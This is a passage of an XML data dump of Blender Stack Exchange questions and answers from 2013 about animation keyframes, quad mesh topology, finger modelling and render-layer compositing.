  <row Id="2988" PostTypeId="1" AcceptedAnswerId="3007" CreationDate="2013-09-18T14:34:46.283" Score="7" ViewCount="1064" Body="&lt;p&gt;I'm trying to edit keyframes in an existing animation in a .dae file I have imported to Blender 2.68a, however none of the changes I make seem to stick. I select the bone in pose mode, change the rotation and/or location and then insert or update the keyframe, however when I move to another frame my values are lost and the bone resets. Its as if the keyframe was never set, I can see the new keyframe however in the dopesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've applied an armature to a cube in the same file and animated it in the usual fashion and everything works fine so I'm assuming it is a setting or issue to do with the setup of the imported Collada mesh. None of the keyframes appear to be locked, and no settings jump out at me immediately as being the cause. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google hasn't been much help, however I did find the post below where the OP seems to be having the exact same issue as me, unfortunately he didn't seem to find an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?254038-animation-problem-losing-pose-on-an-inserted-keyframe&quot; rel=&quot;nofollow noreferrer&quot;&gt;animation problem - losing pose on an inserted keyframe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like it is potentially something really simple I am missing. Unfortunately I can't post the file itself as I purchased it and can't freely distribute it, I have attached an image showing my file setup however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VXlyp.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone come across a similar problem?  &lt;/p&gt;&#xA;" OwnerUserId="719" LastActivityDate="2013-09-19T14:09:11.337" Title="Can't update / remove keyframe values from an imported Collada file" Tags="&lt;import&gt;&lt;armature&gt;&lt;collada&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2991" PostTypeId="2" ParentId="2976" CreationDate="2013-09-18T16:45:36.987" Score="10" Body="&lt;p&gt;To expand on Haunt_house's answer, to place a vertex at the intersection you can use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Dynamic_Spacebar_Menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Dynamic spacebar addon&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is include with development builds of blender by default, but you will still have to enable it in the &lt;em&gt;User preferences&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kIbq0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a release version, you can get it &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Dynamic_Spacebar_Menu&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&gt; Snap Cursor menu &gt; Cursor to edge intersection&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Etyrw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This snaps the 3D cursor the the intersection between the selected edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can add a new mesh (press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; while still in edit mode) and then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; Selection to cursor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2T714.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then select the vertices you want to merge with one of the ones on the intersection selected last and press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;&lt;em&gt;&gt; At last&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/re5Tw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Alternate Workflows&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For something like this, You might be better off with a different workflow:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Array modifier&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot; rel=&quot;nofollow noreferrer&quot;&gt;Array modifier&lt;/a&gt; with an object offset, see &lt;a href=&quot;https://blender.stackexchange.com/a/567/599&quot;&gt;this answer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JKQTK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in the above image, the plane object as been rotated -120 degrees in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This would be similar to Haunt_house's solution of using different objects)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Primitives&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You might be able to use a primitive to get the desired geometry, Add a circle and set the vertices to &lt;code&gt;3&lt;/code&gt; in the &lt;em&gt;Redo menu&lt;/em&gt; or the &lt;kbd&gt;F6&lt;/kbd&gt; menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UfW9A.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/XJxsM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extrude upwards, select all, then press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;&lt;em&gt;&gt; Individual faces&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xfJh3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the top vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hFm3o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-09-18T18:10:39.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2992" PostTypeId="2" ParentId="2988" CreationDate="2013-09-18T18:48:01.247" Score="1" Body="&lt;p&gt;This can be caused when the imported animation is using &lt;a href=&quot;http://wiki.blender.org/index.php/User:Pepribal/Ref/Appendices/Rotation#Quaternion_rotation_mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Quaternion&lt;/em&gt; rotation&lt;/a&gt;. This setting is in &lt;em&gt;3D view &gt; Properties panel (&lt;/em&gt;&lt;kbd&gt;N&lt;/kbd&gt;&lt;em&gt;) &gt; Transform&lt;/em&gt;, and &lt;em&gt;Properties &gt; Bone &gt; Transform &gt; Rotation mode&lt;/em&gt; (visible in your screenshot):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2mwaH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately setting this the more commonly used &lt;a href=&quot;http://wiki.blender.org/index.php/User:Pepribal/Ref/Appendices/Rotation#Euler_rotation_modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;XYZ Euler&lt;/em&gt;&lt;/a&gt; will cause the Quaternion rotation channels to be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One workaround could be animating the rotation type to &lt;em&gt;Euler&lt;/em&gt; whenever you want to insert keyframes, then animating it back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There should be a way to convert between them, but it seems that there is no way to do this in blender currently (at least none that I know of)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-19T01:49:10.307" LastActivityDate="2013-09-19T01:49:10.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2993" PostTypeId="1" AcceptedAnswerId="2994" CreationDate="2013-09-18T18:54:31.180" Score="35" ViewCount="97251" Body="&lt;p&gt;Is it possible to use the green bar in the &lt;em&gt;Timeline&lt;/em&gt; to erase keyframes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cIzs4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someway to do something like erasing keyframes by scrolling over them &lt;em&gt;instead of removing them one by one&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-18T20:31:16.253" LastActivityDate="2019-07-12T14:31:03.923" Title="Can I use the timeline to erase keyframes?" Tags="&lt;animation&gt;&lt;workflow&gt;" AnswerCount="5" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2994" PostTypeId="2" ParentId="2993" CreationDate="2013-09-18T19:02:43.967" Score="40" Body="&lt;h1&gt;For 2.8 and newer:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is now possible. Keys are shown as diamonds, like in the dope sheet. Mark them and hit X to delete them.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;For 2.79 and earlier:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;; not in the timeline.&lt;br&gt;&#xA;This is done in the &lt;a href=&quot;https://www.blender.org/manual/editors/dope_sheet/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dope Sheet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hit &lt;kbd&gt;B&lt;/kbd&gt; to select with a rectangle (or any other selection&#xA;method).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hit &lt;kbd&gt;X&lt;/kbd&gt; to delete selected keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NbvIt.png&quot; alt=&quot;Delete keyframes&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2019-07-12T14:31:03.923" LastActivityDate="2019-07-12T14:31:03.923" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="2995" PostTypeId="1" AcceptedAnswerId="3001" CreationDate="2013-09-18T19:57:22.137" Score="13" ViewCount="5700" Body="&lt;p&gt;In order to bridge two edge loops having an unequal number of edges the diamond pattern can be used. &lt;a href=&quot;http://cgcookie.com/blender/cgc-courses/learning-mesh-topology-collection/&quot; rel=&quot;noreferrer&quot;&gt;Video tutorials by Jonathan Williamson&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there more patterns that preserve the quads?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/At9cD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select 3 vertices (Image 1)&lt;/li&gt;&#xA;&lt;li&gt;Merge at Center&lt;/li&gt;&#xA;&lt;li&gt;Select another 3 vertices connected to the ones selected in step 1.&lt;/li&gt;&#xA;&lt;li&gt;Merge the in 3. selected vertices. (Image 2)&lt;/li&gt;&#xA;&lt;li&gt;Remove the superfluous (single edge) edge loop (Image 3, to illustrate how the edge flow is redirected)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-09-19T00:16:59.047" LastActivityDate="2016-08-01T12:25:12.597" Title="Are there more standard patterns besides diamonds which will preserve quad only meshes?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2996" PostTypeId="2" ParentId="2993" CreationDate="2013-09-18T20:17:44.470" Score="6" Body="&lt;p&gt;There is another way to erase keyframes (This method allows you to select precisely which property to delete key):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Within the timeline, move the playhead over the keyframe you want to erase.&lt;/li&gt;&#xA;&lt;li&gt;Found the properties which are animated at this keyframe (for instance, &lt;code&gt;location&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right-click on it, and select &lt;em&gt;Delete keyframes&lt;/em&gt;, or &lt;em&gt;Delete Single Keyframe&lt;/em&gt; (the first will delete all 3 &lt;em&gt;location&lt;/em&gt; property keys, and the second only the property you right-clicked on, i.e. X, Y, or Z).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/peVjT.jpg&quot; alt=&quot;deleting keyframes&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="527" LastEditorUserId="2217" LastEditDate="2015-03-30T16:11:02.203" LastActivityDate="2015-03-30T16:11:02.203" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2997" PostTypeId="2" ParentId="2993" CreationDate="2013-09-18T20:28:38.273" Score="20" Body="&lt;p&gt;It is possible to delete the keyframes from the 3D view without having to have one of the animation views visible but it doesn't remove the problem of having to delete the keyframes one by one.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Move to the timeline marker to the frame that has the keyframe you want to delete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the cursor in the 3D view press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;I&lt;/kbd&gt; and choose 'Delete Keyframe'.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This will delete &lt;em&gt;all&lt;/em&gt; keyframes on the current frame but still has to be done on every separate frame.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2013-09-18T20:28:38.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2998" PostTypeId="1" AcceptedAnswerId="2999" CreationDate="2013-09-18T20:33:45.387" Score="7" ViewCount="3528" Body="&lt;p&gt;The technique I currently use to create faces to extrude fingers from a base mesh is: Cut the front and upper faces with the knife tool (as shown in the image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the knife tool creates n-gons which influences the topology, creating more loopcuts would be continue over the arms to the whole body where they are not really needed (and would create more work to adjust them). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YaQHE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any alternative techniques?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-09-19T08:25:49.990" LastActivityDate="2013-09-20T07:06:26.663" Title="What are the options to extrude fingers from a low poly hand?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2999" PostTypeId="2" ParentId="2998" CreationDate="2013-09-18T21:23:01.423" Score="6" Body="&lt;p&gt;You can use &lt;em&gt;inset&lt;/em&gt;, but I have only tried this for three fingered hands:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Individual inset&lt;/em&gt; (&lt;kbd&gt;I&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;) with both faces selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldcY9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the faces inside the new inset, move them forward a bit, inset again:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b4cUp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the faces inside that inset and move them forward, extrude middle section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zFAXl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Extrude fingers:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kyhA2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-09-18T21:23:01.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3000" PostTypeId="1" AcceptedAnswerId="3015" CreationDate="2013-09-18T21:30:49.480" Score="3" ViewCount="279" Body="&lt;p&gt;I have a little lizard with a bone structure. Currently it has no animation and no game logic set. However, when pushing &lt;kbd&gt;P&lt;/kbd&gt;, in game logic mode on the mesh, the mesh renders as a very squished version of itself, squished along the x-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, none of the armature movements are visible, instead it's just what it was at default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PxL3g.png&quot; alt=&quot;Not Squished&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After pressing &lt;kbd&gt;P&lt;/kbd&gt;, I get this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lOaZs.png&quot; alt=&quot;Squished&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1308" LastEditorUserId="12" LastEditDate="2013-09-19T22:57:43.520" LastActivityDate="2013-09-19T22:57:43.520" Title="Why does my mesh flatten on the X-axis in the game engine?" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3001" PostTypeId="2" ParentId="2995" CreationDate="2013-09-18T23:04:49.940" Score="10" Body="&lt;p&gt;Usually one can catch such topologycal tricks by watching&#xA;the vertices (poles) neighbour count. In your example there&#xA;is a cube which has one vertex with 5 neighbour and another&#xA;with 3. The following example shows one where these poles&#xA;are neighbours. As Hount House notet in his comment,&#xA;sometimes they are called N-poles and E-poles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IKuVa.png&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When avoiding triangles, you can reduce or increase edge amount&#xA;somewhere by the cost of doing it somewhere else. In your example&#xA;on the same side you loose one and another edge. In my example I&#xA;added a new edge in the right side, and had to redirect the loop&#xA;Flow to the top. When simply removing an edge loop, you take&#xA;one edge from one side and one from the front side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generall, when using only quads on manifold meshes, every sub-mesh&#xA;of it (for example strangly subdivided planes like these) must have&#xA;even number of border edges (only one face connected). So a hole&#xA;with odd number of edges cannot be filled with quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I am getting too wild now. I am currently&#xA;working on a trees retopology, where you can see,&#xA;that I mostly only have the usual poles or E-poles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E1SHZ.png&quot; alt=&quot;Second&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar example to yours (two edges taken&#xA;from bottom side), but with another loop Flow:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zWZ6q.png&quot; alt=&quot;Third&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Must note the tutorial in &lt;a href=&quot;https://blender.stackexchange.com/questions/3004&quot;&gt;this&lt;/a&gt; related&#xA;question. I Recommend to watch all episode.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2016-08-01T12:25:12.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3002" PostTypeId="1" AcceptedAnswerId="3003" CreationDate="2013-09-19T02:03:28.360" Score="15" ViewCount="16523" Body="&lt;p&gt;I composite 3 individually rendered and saved files to achieve the look of an object isolated on white with a proper shadow:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;image file of object floating with alpha background&lt;/li&gt;&#xA;&lt;li&gt;image file of a render of the empty background plane&lt;/li&gt;&#xA;&lt;li&gt;image file of the background plane containing the object with the object's camera visibility unchecked (so it's an empty plane that also has the object's shadow)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I use the compositor to divide the shadowed plane by the empty plane to get a white image containing only the shadow, then alpha over the object with the transparent background&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/apDlu.jpg&quot; alt=&quot;Compositing setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not ideal, because I'd rather not have to open a new blend file just to do a simple divide and alpha over. I would prefer to build this functionality into the original blend file using scenes and render layers. Yet every time I try this, as described in the wiki &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Post_Process/Layers&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;, I misunderstand and configure my multiple scenes/render settings improperly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I setup my scenes and render layers properly to achieve the above image without having to save separate files?&lt;/p&gt;&#xA;" OwnerUserId="417" LastActivityDate="2018-06-25T16:25:22.750" Title="Using scenes and render layers to composite an object isolated on white background with shadow" Tags="&lt;compositor&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="3003" PostTypeId="2" ParentId="3002" CreationDate="2013-09-19T02:43:17.927" Score="17" Body="&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Here is an &lt;a href=&quot;http://www.pasteall.org/blend/24152&quot; rel=&quot;noreferrer&quot;&gt;example file&lt;/a&gt; for you to inspect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Passes#Layers&quot; rel=&quot;noreferrer&quot;&gt;wiki page&lt;/a&gt; for Renderlayers in cycles: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Render layers are used to render different objects in the scene into different images. This way they can, for example, be color corrected&#xA;  or otherwise manipulated separately and then recomposed in compositing&#xA;  later.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Which objects contribute to which render layers are defined by these&#xA;  layer settings:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Scene Layers: only objects on these layers will contribute to the image.&lt;/li&gt;&#xA;  &lt;li&gt;Camera Layers: objects on these layers are directly visible to the camera. When an object is in the scene layers but not camera layers,&#xA;  it will still cast shadows or be visible in reflections, so it's still&#xA;  indirectly visible. This is equivalent to disabling the Camera in the&#xA;  Ray Visibility panel for the object. The way this works may be&#xA;  somewhat confusing at first, but it's designed such that render layers&#xA;  can be recomposed to give the full render, without any missing shadows&#xA;  or reflections.&lt;/li&gt;&#xA;  &lt;li&gt;Mask Layers: objects on these will mask out other objects appearing behind them. This is equivalent to assigning a Holdout&#xA;  shader for camera rays to the objects on such layers.&lt;/li&gt;&#xA;  &lt;li&gt;Exclude Layers: scene layers are shared between all render layers; however sometimes it's useful to leave out some object influence for a&#xA;  particular render layer. That's what this option allows you to do.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The object is on Scene layer 2, the lights are on Scenelayer 3, and the background is on Scene layer 4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Transparent&lt;/em&gt; is enabled in &lt;em&gt;Properties &gt; Film&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gCwJE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And &lt;em&gt;RGBA&lt;/em&gt; is enabled in &lt;em&gt;Output&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m1JMZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The settings for each Renderlayer:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Renderlayer to result in only the object, we need to include the lights and the object layers, and disable the background layer (we don't want to exclude entirely, because we want the bounce lighting on the bottom of the object):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jc0AS.png&quot; alt=&quot;Object layer&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/aSwBe.png&quot; alt=&quot;Object Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Background, the lights and background layers are enabled, and we exclude the object layer entirely, as we do not want shadows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mN0dW.png&quot; alt=&quot;BG layer&quot;&gt; &lt;a href=&quot;https://i.stack.imgur.com/PTwXo.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PTwXom.png&quot; alt=&quot;BG result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is the same as BG, except we &lt;strong&gt;don't&lt;/strong&gt; exclude the object layer, so shadows cast by our object will be visible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ILJcO.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/aN00Rm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Compositing&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the image inputs in your setup with the appropriate Renderlayers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3wFX9.png&quot; alt=&quot;Composite setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XAwTl.png&quot; alt=&quot;final result&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-09-19T19:55:59.493" LastActivityDate="2013-09-19T19:55:59.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3004" PostTypeId="1" AcceptedAnswerId="3005" CreationDate="2013-09-19T07:21:33.863" Score="16" ViewCount="3640" Body="&lt;p&gt;In a video tutorial on &lt;a href=&quot;https://www.youtube.com/watch?v=U3mm5sbMnpE&quot; rel=&quot;noreferrer&quot;&gt;All Quad Junctions&lt;/a&gt; some different  types of junctions are explained. When trying to create them I struggle with extra edges and merging points, ripping points. That takes too much time &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a efficient reproduceable way to create these types of junctions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3jIyk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-05-04T00:19:31.893" Title="What are the most efficient workflows to create all quad junctions?" Tags="&lt;mesh&gt;&lt;topology&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="3005" PostTypeId="2" ParentId="3004" CreationDate="2013-09-19T10:42:35.250" Score="8" Body="&lt;p&gt;The easiest way that comes to mind currently is to remove  the critical faces, add some loop cuts, then create faces.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for the second one, you would remove the critical face,&#xA;make a double loop cut with &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt;&#xA;then &lt;kbd&gt;2&lt;/kbd&gt; then extrude the small edge in the middle,&#xA;and finally select the edge pairs to Fill them with &lt;kbd&gt;F&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same applies to the third and fourth with some changes. For&#xA;the first one: Remove the upper two critical faces, add the loop&#xA;cuts, fill the proper edge pairs, move the center vertex down.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="12" LastEditDate="2015-05-04T00:19:31.893" 